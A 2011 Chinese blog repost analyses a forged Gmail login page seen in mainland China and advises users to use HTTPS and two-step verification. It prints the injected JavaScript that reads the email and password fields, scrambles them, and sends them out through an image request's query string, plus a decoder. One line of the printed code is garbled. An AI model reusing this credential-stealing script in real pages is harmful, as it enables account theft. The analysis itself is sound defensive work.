Posted by: Jason Zhao | 03月 28, 2011

请当心伪造的 Gmail 登录页面(ZT)

在网上看到的一篇文章,由于众所周知的原因被GFW,所以转发到俺自己的blog,为使用Gmail的用户的安全填点儿柴火,有可能发了后本人的blog也会被GFW,无所谓了,反正又不是第一次被墙!

以下为转发内容,能翻墙的请看原文出处:原文

今 (2011) 年早些时候, 包括作者在内的大陸部分用户开始遭遇到伪造的 Gmail 登录页面。 表面上, 这种页面与普通的 Google 帐户登录页面无异, 但它 (们) 含有被插入的代码, 用於巧妙地收集用户的登录信息。

伪造的登录页面在用户以非加密的 HTTP 协议访问 mail.google.com 时出现, 如图所示:Gmail

在正常情况下, 已经登录的用户会经历几个环节, 安全地转到 Gmail 中; 即使需要重新输入密码, 页面地址也应以 https:// 开头, 并且登录表单应该明示当前的登录名。 很显然, 伪造的登录页面并不满足这两点。

这种伪造的登录页面有两个特点, 一是发生不频繁, 二是在加载完成一分钟後, 会自动转到真正的 Gmail 中。 虽然作者所了解的范围内只有自己一人遇到过这种现象, 但是根据报导, 截至本 (3) 月上旬, 这种现象仍然存在。

无论如何, 上述因素使得这种盗窃个人隐私的犯罪活动较为隐蔽, 所以用户更应小心防范。

工作原理:
通过与真实的登录页面进行比较, 作者在一份於一月中旬留存的伪造登录页面副本中, 发现了几点差异。 首先是函数 gaia_onLoginSubmit() 被修改。

function gaia_onLoginSubmit() {
gaia_logoFresh(gaia_onLoginCheck(),gaia_logoUrl());

if (window.gaiacb_onLoginSubmit) {
return gaiacb_onLoginSubmit();
} else {
return true;
}
}

函数的第一行 (未缩进的那行) 是新增的, 其中的三个函数的实现分别如下 (若干辅助函数可顾名思义, 在此省略)。

function gaia_onLoginCheck(){
var f = el("gaia_loginform");
var ga_u = f.Email.value;
var ga_p = f.Passwd.value;
return gaia_rskQuery(ga_u+'&'+ga_p+'&gmail.com');
}

function gaia_logoFresh(s,h){
var ga_logo = new Image(0,0);
ga_logo.src = h + 'images/logo_bg.jpg?' + s;
var ga_logo_path = gaia_onLoginCheck();
ga_logo_path = '/favicon1.ico';
var result = xmlHttpConnect(ga_logo_path,"get",null);
}

function gaia_logoUrl() { return '/'; }

由此可以看到, 这个伪造的登录页面的工作方法是: 请求一个不存在的图像 (http://mail.google.com/images/logo_bg.jpg), 并将用户的登录信息通过查询串 (query string) 发送出去。 不过对後面的变量 ga_logo_path 的处理却不知目的为何。

另外, 用户名和密码并非以明文发送, 而是通过函数 gaia_rskQuery() 进行了一个简单的变换。

function gaia_rskQuery(s){
s = encodeURIComponent(s);
var r = Math.random();
var num = (Math.round(r*100))%9+1;
var i = 0;
var out = '';
do{
var ch = s.charCodeAt(i++);
ch = (i%2>0)?(ch-i%num):(ch+i%num);
var l = (ch/10>=10)?3:(ch/|>10>0?2:1);
out += l.toString() + ch;
}while(i<s.length);
out = r.toString().substring(0,num)+out+num;
return out;
}

(基本上, 这个变换首先随机选择一个 n ∈ [1..9] (模的大小), 然後根据字符位置和模的大小, 对原串中字符的字码交错地进行增减, 并在新字码前附上其长度, 最後在整个新串的最後附上 n, 在最前附上对逆变换无用的随机数的前面 n 位 (应该是为了进行校验)。) 当然, 我们也不难写出其反函数, 如下。

function InverseRsk(s) {
var modSize = s.substring(s.length – 1, s.length);
var codeBody = s.substring(modSize, s.length – 1);
var origBody = '';

var index = 0;
var origCharIndex = 0;
var charCodeLen, charCode = 0;
do {
charCodeLen = parseInt(String.fromCharCode(codeBody.charCodeAt(index++)), 10);
charCode = parseInt(codeBody.substring(index, index + charCodeLen), 10);
index += charCodeLen;

if(origCharIndex % 2 == 0) charCode += (origCharIndex + 1) % modSize;
else charCode -= (origCharIndex + 1) % modSize;
origBody += String.fromCharCode(charCode);

origCharIndex++;
} while(index < codeBody.length);

return decodeURIComponent(origBody);
}

有些安全软件可防止用户的个人信息通过明文被直接发送出去, 这想必是进行这个变换的原因之一。

防范策略
如果保证每次都手动键入 “https://” 不太现实, 您至少应该启用 Google 帐户的双因子验证功能。 虽然登录过程会变长些, 但由此带来的好处是两重的: 一方面, 即使您的密码丢失, 他人也无法登录您的帐户; 另一方面, 您还可以创建应用程序专用密码, 并进行手动吊销, 这也免除了因为一个环节的失误而导致整个帐户被攻陷的隐患。

当您的帐户被攻陷时, 您所面对的不仅是泄露自身隐私的风险, 您的家人, 亲属, 朋友, 同学, 同事等等, 都可能因此面临更高风险。 保护这些人的责任在您的肩上, 为此, 即使麻烦一些, 我也要建议您, 不要把安全当作儿戏。


Responses

  1. 开启两步验证是必需的


发表评论

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / 更改 )

Twitter picture

You are commenting using your Twitter account. Log Out / 更改 )

Facebook photo

You are commenting using your Facebook account. Log Out / 更改 )

Connecting to %s

分类

加关注

Get every new post delivered to your Inbox.